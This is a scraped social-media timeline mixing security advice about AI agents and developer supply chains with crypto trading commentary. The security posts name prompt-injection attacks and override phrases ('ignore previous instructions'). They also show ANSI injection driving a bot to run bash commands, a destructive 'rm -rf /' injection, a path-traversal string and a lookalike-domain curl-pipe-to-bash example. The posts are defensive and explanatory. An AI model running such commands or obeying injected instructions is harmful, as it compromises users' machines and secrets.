Pinned Tweet
Enabling 2FA on Google, Twitter, and Discord is a good practice, but it's just part of security. OPSEC is primarily a constant discipline, as the biggest threat often comes from human error.
3
10
1,306
Hey @jianxliao ! I've been using your project for a while now and wanted to say thanks, the architecture is solid, the queue system works smoothly and the overall design is clean. I haven't run into any major issues, it just works. While using it I noticed a few things security-wise that might be worth considering. Nothing critical, just stuff I picked up along the way: 1. Log sanitization, I noticed that logs can sometimes contain sensitive values in clear text (tokens, API keys). A simple redaction layer that scans strings for known patterns (sk-*, Bearer tokens, private keys) and replaces them with [REDACTED] before writing would prevent accidental leaks to disk. 2. File permissions, The queue directory and auth files could benefit from restrictive permissions (700 for directories, 600 for files). Without that, any process running on the same machine can read tokens and messages in transit. 3. dangerouslySkipPermissions, If you use this flag for automation, you can add --disallowedTools Bash,Write,Edit,NotebookEdit to your CLI calls. Automation still works the same way, but even if a prompt injection gets through, the CLI can't execute commands or write files. 4. Dependencies, Worth running npm ls --all to check the full dependency tree. Some libraries pull in dozens of unused sub-dependencies. Each package is a potential supply chain vector. 5. Input sandboxing, If the CLI ever processes external content (queue messages, user prompts, API responses), wrapping it in explicit delimiters (--- BEGIN UNTRUSTED INPUT --- / --- END ---) with an instruction to treat it as data, not instructions, reduces prompt injection risk, especially if the content flows through multiple stages. 6. Input security scanning, Before sending any content to the CLI, a quick scan for known dangerous patterns (eval(), exec(), child_process, SQL injections, hardcoded secrets, path traversal, prototype pollution, weak crypto) can block risky requests before they reach the provider. It's basically a reverse whitelist, if a pattern matches, the content gets blocked or flagged. 7. Prompt injection detection, If external content goes through the queue, it's worth scanning for classic injection patterns ("ignore previous instructions", fake system messages, role reassignment, bypass attempts). Even with a single provider, a user or a process could inject crafted content into the queue. Again, nothing urgent, just things I thought might be useful. Thanks for sharing the project.
Introducing TinyClaw 🦞 OpenClaw in 400 LoC @openclaw is great, but it breaks all the time. So I recreated @openclaw with just a shell script in ~400 lines of code using Claude Code and tmux. Everything works! WhatsApp channels, heartbeat system, cron jobs, and it uses your existing Claude Code plugins and setup. It’s super stable and extremely easy to deploy compared to openclaw, just install Claude Code! github.com/jlia0/tinyclaw
1
1
157
OpenClaw and Domestic AI: Security and Sovereignty An agent running off-premises is only safe if treated as potential malware. This statement isn't an exaggeration, it's a realistic threat model. And it applies particularly to VPS environments. A VPS is not a fortress, it's a hotel room. Common illusions are numerous: "I encrypt my secrets on disk" → The key is in RAM, accessible by the hypervisor. "I put everything in Docker" → Docker isolates nothing from the host system or hypervisor. "My hosting provider is trustworthy" → That's a bet, not security. The real innovation is that the agent is a true system program. It has a user, a directory, permissions. No more fuzzy magic. Because fundamentally, an AI agent is a program. Not a friend, not a genius, not a magic assistant. Once you accept that, you can secure it, understand it, and control it. What makes @openclaw revolutionary is that it makes power visible and revocable, not that it's powerful.
1
136
If the project evolves toward domestic AI, we'll likely see "home" profiles emerge: pre-configured settings for family use with adapted limitations, simplified vocabulary, and reinforced security by default. Everyone can have their own environment without reconfiguring everything. Domestic security presets will naturally follow: ready-to-use templates like "child mode" (maximum restrictions), "guest mode" (temporary and isolated), or "expert mode" (full access but audited). One click to apply the right level of protection. Local home automation integration (MQTT, Zigbee, Matter) will enable direct communication with your connected devices without going through the cloud. MQTT for messages between devices, Zigbee for sensors and lights, Matter for universal interoperability. Everything stays at home. Appliance-type packaging will make installation as simple as an internet box: plug-and-play for non-technical users, complete disk image, auto-configuration, secure automatic updates. The multi-user system with roles will give everyone their access level: dad has admin access, mom can manage home automation, kids have a limited educational assistant. Each person gets their own agent, permissions, and separate memory. No mixing. Low-power persistent agents will run 24/7 on mini-PC or Raspberry Pi with minimal power consumption. In active standby, they listen without computing and wake only when needed. Perfect for monitoring, simple automations, and reminders. Other integrations are conceivable: encrypted local backup with automatic saving to personal NAS, family mesh network for communication between agents on different home devices, local calendar/email integration via Nextcloud or CalDAV without Google dependency, or even integrated VPN/Firewall for secure remote access to your domestic agent.
57
Thank you for sharing this, it is an excellent security reminder. This attack technique is particularly insidious and highly relevant for anyone working with GitHub repositories. Finding the right security trade-offs against modern threats tied to the GitHub ecosystem and the software supply chain is already complex enough. For my part, here are a few basic measures I try to apply: Supply chain: Dependency freezing (pip freeze + --generate-hashes) Strict installation: pip install --require-hashes --no-index --find-links <local-cache> Pinned versions = a “trusted snapshot” Updates only when necessary (CVE, critical bug): audit → isolated testing → controlled re-freeze Git / GitHub: Disable hooks: git config --global core.hooksPath /dev/null Strict .gitignore (.env, profiles, keystores) Historical scanning with gitleaks Your curl wrapper with non-ASCII character validation is an excellent idea that I will definitely adopt. Thank you for raising awareness.
> be a dev > checks out a random README > README states: please update your Foundry via "curl -L https://foundry.paradіgm.xyz | bash" > looks like the right domain & I anyway need to update Foundry, so lfg > gets rekt it's very easy to trick people into using domains that look legit but actually use e.g. Cyrillic characters like in the above example (it won't rek you in this case and this is _not_ meant as an attack on Foundry, more on the `curl | bash` pattern lol). I'm so paranoid that I wrote secure `wget` & `curl` wrappers now to prevent something like this happening. Of course, verify first what I did ;)
69
Before running a script, it is advisable to carry out a thorough inspection of the code and its execution flows. This step helps identify potential attack surfaces, risky dependencies, and implicit trust assumptions (APIs, user inputs, execution environment) early on. A preventive analysis significantly reduces the risk of compromise, especially for automated scripts or those executed with elevated privileges While analyzing a script, I identified 9 distinct attack types that can be exploited under two different scenarios. Scenario A: API Compromise (6 attacks) If the API is compromised or an attacker performs a Man-in-the-Middle attack 1/ ANSI Injection → Command Execution Injection of malicious ANSI codes into JSON responses. Clawd bot interprets them as instructions and executes them via bash_tool. Full system compromise. 2/ Credential Harvesting Creation of fake authentication prompts in the terminal. Theft of API keys, passwords, and tokens. Identity theft and unauthorized access. 3/ Log Poisoning Injection of fake alerts into system logs. Masking of real attacks and operational chaos. False alerts and confusion within the security team. 4/ Hidden Commands (copy-paste trap) Malicious commands hidden using invisible ANSI codes. Executed when copied and pasted into a terminal. Unintended code execution. 5/ Terminal Hijacking Modification of the terminal title or prompt. Social engineering to manipulate the user. User-assisted malware installation. 6/ JSON Type Confusion Sending malformed data (incorrect types). Script crash → Denial of Service. Service unavailability. Scenario B: Direct Attack (3 attacks) The attacker directly manipulates arguments or exploits the script itself. 1/ CLI Injection (Path Traversal) Injection of malicious paths into arguments: ../../admin/keys. Access to unauthorized API endpoints. Leakage of sensitive data. 2/ Command Injection Injection of shell commands into parameters: test, rm -rf /. Arbitrary system command execution. System destruction. 3/ SSRF (Server-Side Request Forgery) Injection of URLs targeting internal services: Access to cloud metadata services (AWS, GCP). Theft of cloud credentials and access to internal services.
61
[Baseline Security Model] @pcaversaccio and @_SEAL_Org's observations lead to a threat model where an attacker can execute arbitrary code in the user context through opportunistic tools (editor, browser, extensions, scripts). The primary risk: any file accessible to the user account can be read and exfiltrated quickly. The goal is not to prevent code execution which is unrealistic but to prevent a user-level compromise from becoming a system compromise, and to render the exfiltration of sensitive files minimally or non-exploitable. These measures constitute a reasonable baseline to contain opportunistic attacks, prevent privilege escalation, and reduce the value of accessible data. They do not cover runtime exfiltration (process memory), advanced persistent attacks (rootkits), or threats specifically targeting the execution environment. For high-risk deployments, additional layers are possible: sandboxing, network isolation, monitoring, integrity verification. [Secrets Management] Any file in $HOME is exfiltrable by a user-level process. Local encryption doesn't help if the key is accessible in the same context. .env should be treated as a configuration mechanism, not a vault. The solution would be to move secrets outside the user perimeter (root-only zones on Linux, Keychain on macOS). These mechanisms don't guarantee invulnerability but eliminate trivial attacks and increase exploitation cost. [Privilege Escalation] A user process should never obtain system privileges without human interaction. Any passwordless elevation constitutes a total compromise. Checks: Linux: sudo -l should show no NOPASSWD rules, and find / -perm -4000 -type f 2>/dev/null should reveal no dangerous SUID binaries (interpreters, shells). macOS: same logic for sudo -l, and verify the impossibility of modifying LaunchDaemons without admin authentication. [SSH] If the SSH secret (password or hardware key) is not stored on the machine, the attacker cannot exfiltrate it digitally. Residual risk comes only from private keys already present in ~/.ssh/. Prefer hardware key authentication or memorized passwords. These measures don't block code execution nor eliminate all runtime exfiltration risks. They contain opportunistic attacks by preventing privilege escalation and reducing the value of accessible data. They don't eliminate the attack, but limit its impact a realistic and proportionate objective.
Multiple victims were already affected by DPRK "Contagious Interview" campaigns utilizing VS Code Tasks abuse for malware execution. We took a deep dive and discovered connections to DPRK IT Workers. And, partially broken, yet still effective, malware. radar.securityalliance.org/v…
69
i genuinely think everyone in this space should immediately switch to using Vim. DPRK started abusing VS Code hooks that run _automatically_ in the background when you open a folder. ZERO fucking user interaction required _after_ trusting the repo (the trusting part is important here). Yes, read it again. ZERO. INTERACTION. REQUIRED. so what happens is the following: they (in the usual case the Contagious Interview group, meaning some fake recruiting guy) share GitHub, Bitbucket, and GitLab repos containing a `.vscode/` subdirectory with malicious hooks. the one example I share here executes a fake font that's actually heavily-obfuscated JS and will absolutely rek you. all your fancy software that feels "convenient" makes tradeoffs. those tradeoffs are now being abused to silently rek your devices. use Vim. and use Qubes. Thx.
164
292
2,147
374,151
I really like @mert approach with solprice.now a very clean, minimalist site focused on what matters most, clearly highlighting the price of SOL, with the added integration of a prediction market. In the same spirit of clarity and market reading, I also really like orbmarkets and its markets/explorer approach. If there were an integration allowing users to visualize or compare DeFi yields on Solana (staking, LP, lending) even at a purely informational / discovery level. It would naturally fit into this market-reading logic. Not as a full aggregator, but rather as a reading / signal layer, before going on to interact directly with the protocols themselves. Unless I’m mistaken, this type of view is not yet truly centralized today.
59
To summarize, this trader initiated a long position on BTC on December 11, 2024. What was their thought process? Their analysis likely rested on the hypothesis that the Deribit options expiration on January 31, 2025 could create a gravitational pull toward the $100,000 zone, thereby allowing them to return to profitability. Examining the price history, we observe that during the period from December 2024 to March 2025, the price had progressed to approximately $107,000 as the January 31, 2025 options expiration approached, even though the max pain level was around $98,000. This upward movement was subsequently followed by a correction. These observations suggest that a bullish move can indeed occur around these major options expiration dates. That said, this type of investment decision remains inherently complex, and retrospective analysis allows us to draw lessons without needing to judge the merits of the position taken.
Insider Bitcoin whale is now down $8,240,000 on his long positions. He has also paid $5,622,000 in funding fees alone. It seems like someone gave him the wrong info.
37
2026-01-13_Core CPI 2026-01-14_Core PPI For short-term volatility, there are two important dates left. We can observe a structural imbalance on the 30-day Liquidation Map. This will likely be the best time to liquidate a maximum number of positions. With the events of December 18, 2025, there were also several potential catalysts, and BTC dropped to around $84,400. The Trading Paradox = The more you observe without trading, the more clearly you see the opportunities. Nothing is certain, but everything is possible.
40
That’s a sign that cannot be ignored.
29
Experienced traders maintain sufficient margin to keep their liquidation price far away. They avoid leverage levels above 30. This is a medium-term position designed to be profitable. Moreover, it is impossible to assess their strategy based solely on the entry price, as it is always optimized according to their underlying theory.
Shorted $15M $BTC Holding $30M in shorts. Opened a new $BTC short after closing it yesterday for +100k PNL. I closed it yesterday at 90.7k, expecting some relief and a potential retest of 94k, but market looks too weak. Sellers are in control and every “bounce” is mostly perps driven only. The local bottom will form after a general decent wipe out imo. $BTC $ETH $SOL
40
Homemade chart made with love. For those who still believe in the 4-year cycle. This is a comparison of the bear market normalized timeline (ATH–ATL) for phase 2 and phase 4. The Altcoin/BTC chart isn’t in great shape, and BTC dominance are rising toward month 7. @benjamincowen charts are much more accurate.
83
Exchanges BTC Long/Short Ratio The 4-hour metric has reached equilibrium. 4 h 12 h 24 h
38
Exchanges BTC Long/Short Ratio 4 h 12 h 24 h by @coinglass_com
47
January 9, 2026 Deribit Max Pain $90,000 Strike Type OI (BTC) ----------------------------- $95,000 CALL 2353.9 $88,000 PUT 2210.7 $80,000 PUT 1898.3 $94,000 CALL 1131.3 $100,000 CALL 1126.4 $85,000 PUT 1087.5 $90,000 CALL 996.0 $92,000 CALL 963.1 $75,000 PUT 939.3 $96,000 CALL 805.0
27
For now, we can see buying activity. Let’s see in two months.
I’m leaving this here for analysis in the coming months. November 21, 2025.
24